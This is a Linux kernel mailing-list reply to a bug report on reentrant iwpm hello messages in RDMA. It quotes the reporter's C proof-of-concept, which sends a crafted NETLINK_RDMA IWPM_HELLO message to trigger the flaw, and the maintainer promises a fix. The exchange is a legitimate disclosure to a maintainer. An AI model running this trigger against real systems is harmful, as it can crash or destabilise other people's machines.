Re: [bug report] RDMA/iwpm: reentrant iwpm hello message

[Leon Romanovsky <leon@kernel.org>]

On Wed, Dec 25, 2024 at 09:58:35AM +0800, Lin Ma wrote:
> 
> > 
> > Do you have reproducer for that?
> > 
> 
> Yep, I attached the PoC code, please enable CONFIG_INFINIBAND
> for testing.

Thanks a lot for the repro. I wonder why iWARP folks never complained
about it, Anyway I have local fix, but need to test it before sending,
will do after New Year holidays.

Thanks again.

> 
> Thanks
> By the way, Merry Christmas~
> 

> // gcc poc.c -static -o poc.elf -lmnl
> #include <stdio.h>
> #include <stdlib.h>
> #include <stdint.h>
> #include <string.h>
> #include <stdbool.h>
> 
> #include <libmnl/libmnl.h>
> 
> #define PAGE_SIZE 0x1000
> #define RDMA_NL_GET_CLIENT(type) ((type & (((1 << 6) - 1) << 10)) >> 10)
> #define RDMA_NL_GET_OP(type) (type & ((1 << 10) - 1))
> #define RDMA_NL_GET_TYPE(client, op) ((client << 10) + op)
> #define RDMA_NL_IWCM (2)
> #define IWPM_NLA_HELLO_ABI_VERSION (1)
> 
> enum
> {
>     RDMA_NL_IWPM_REG_PID = 0,
>     RDMA_NL_IWPM_ADD_MAPPING,
>     RDMA_NL_IWPM_QUERY_MAPPING,
>     RDMA_NL_IWPM_REMOVE_MAPPING,
>     RDMA_NL_IWPM_REMOTE_INFO,
>     RDMA_NL_IWPM_HANDLE_ERR,
>     RDMA_NL_IWPM_MAPINFO,
>     RDMA_NL_IWPM_MAPINFO_NUM,
>     RDMA_NL_IWPM_HELLO,
>     RDMA_NL_IWPM_NUM_OPS
> };
> 
> int main(int argc, char const *argv[])
> {
>     struct mnl_socket *sock;
>     struct nlmsghdr *nlh;
>     char buf[PAGE_SIZE];
>     int err;
> 
>     sock = mnl_socket_open(NETLINK_RDMA);
>     if (sock == NULL)
>     {
>         perror("mnl_socket_open");
>         exit(-1);
>     }
> 
>     nlh = mnl_nlmsg_put_header(buf);
>     nlh->nlmsg_type = RDMA_NL_GET_TYPE(RDMA_NL_IWCM, RDMA_NL_IWPM_HELLO);
>     nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
>     nlh->nlmsg_seq = 1;
>     nlh->nlmsg_pid = 0;
> 
>     // static const struct nla_policy hello_policy[IWPM_NLA_HELLO_MAX] = {
>     //     [IWPM_NLA_HELLO_ABI_VERSION]     = { .type = NLA_U16 }
>     // };
>     mnl_attr_put_u16(nlh, IWPM_NLA_HELLO_ABI_VERSION, 3);
> 
>     err = mnl_socket_sendto(sock, buf, nlh->nlmsg_len);
>     if (err < 0)
>     {
>         perror("mnl_socket_sendto");
>         exit(-1);
>     }
>     return 0;
> }